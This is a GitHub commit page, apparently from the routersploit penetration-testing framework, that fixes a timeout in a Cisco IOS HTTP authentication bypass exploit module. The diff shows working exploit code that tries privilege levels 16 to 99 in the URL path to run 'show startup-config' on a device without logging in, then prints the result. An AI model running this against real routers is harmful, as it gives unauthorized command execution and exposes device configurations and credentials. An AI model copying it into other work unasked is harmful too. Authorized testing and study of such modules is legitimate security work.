Skip to content

Commit

Permalink
Fixing Timeout issue - Cisco IOS HTTP Auth Bypass (threat9#241)
Browse files Browse the repository at this point in the history
* Fixing Timeout issue

* Fixing style issues
  • Loading branch information
lucyoa authored and fwkz committed Apr 23, 2017
1 parent fd77312 commit 7d7a2ce
Showing 1 changed file with 14 additions and 10 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -39,16 +39,6 @@ class Exploit(exploits.Exploit):
show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')
access_level = None

@mute
def check(self):
for num in range(16, 100):
url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text:
self.access_level = num
return True # target is vulnerable
return False # target is not vulnerable

def run(self):
if self.check():
print_success("Target is vulnerable")
Expand All @@ -62,3 +52,17 @@ def run(self):
print_info(re.sub('<[^<]+?>', '', response.text))
else:
print_error("Exploit failed - target seems to be not vulnerable")

@mute
def check(self):
for num in range(16, 100):
url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
response = http_request(method="GET", url=url)
if response is None: # target does not respond
break

if response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text:
self.access_level = num
return True # target is vulnerable

return False # target is not vulnerable

0 comments on commit 7d7a2ce

Please sign in to comment.